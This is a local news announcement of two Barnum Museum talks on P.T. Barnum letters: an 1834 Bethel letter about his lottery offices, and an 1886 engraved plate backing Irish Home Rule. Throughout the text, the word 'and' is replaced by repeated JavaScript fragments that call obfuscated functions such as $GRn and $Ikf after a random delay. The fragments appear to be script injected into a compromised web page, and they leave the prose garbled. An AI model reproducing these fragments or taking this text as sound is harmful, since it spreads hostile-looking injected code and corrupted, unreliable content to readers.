BRIDGEPORT, CONN. — The Barnum Museum will present two talks in August focusing on two revealing P.T. Barnum letters.

On Wednesday, August 7, at 12:15 pm, the museum’s Sneak Peek series continues with programs focusing on the hidden gems from The Barnum Museum collection. At this talk, the museum will unveil a rare Barnum letter dated 1834 from Bethel Conn.,, which has been recently purchased with donor support by the Barnum Museum Foundation Inc. The museum still needs a little more than $600 in donations to fully cover the purchase. Interested donors may contribute as little as $10. Admission to the talk is a suggested $2 donation.

P.T. Barnum’s first business was a general store in Bethel, which he opened at the age of 18 in 1828. As a part of his work, he started a lottery office in this store andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had great success andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and expandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded to several more locations as far away as New York. The postscript of the letter mentions Barnum’s plans for expansion, saying, “the more the merrier.” When Connecticut started prohibiting lotteries in 1834, Barnum closed his offices in 1835 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and moved to New York to seek his fortune. The rest is history.

On Sunday, August 18, at 2 pm, museum registrar Melissa Houston will present “The Showman andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Irish: P.T. Barnum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Home Rule.” This program centers on a single letter from 1886 within the collection in which Barnum states his support for Home Rule in Irelandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. What is most interesting is that this is not a paper letter, but an engraved metal plate, which was meant to be used to reproduce the original letter; admission is $5.

The back exhibition hall of the museum, featuring artifacts that belonged to P.T. Barnum, Tom Thumb andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and others, is open to visitors Thursdays andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Fridays from 11 am to 3 pm.

The museum is at 820 Main Street in the People’s United Bank Gallery; entry is in the back. For information, 203-331-1104, extension 100, or www.barnum-museum.org.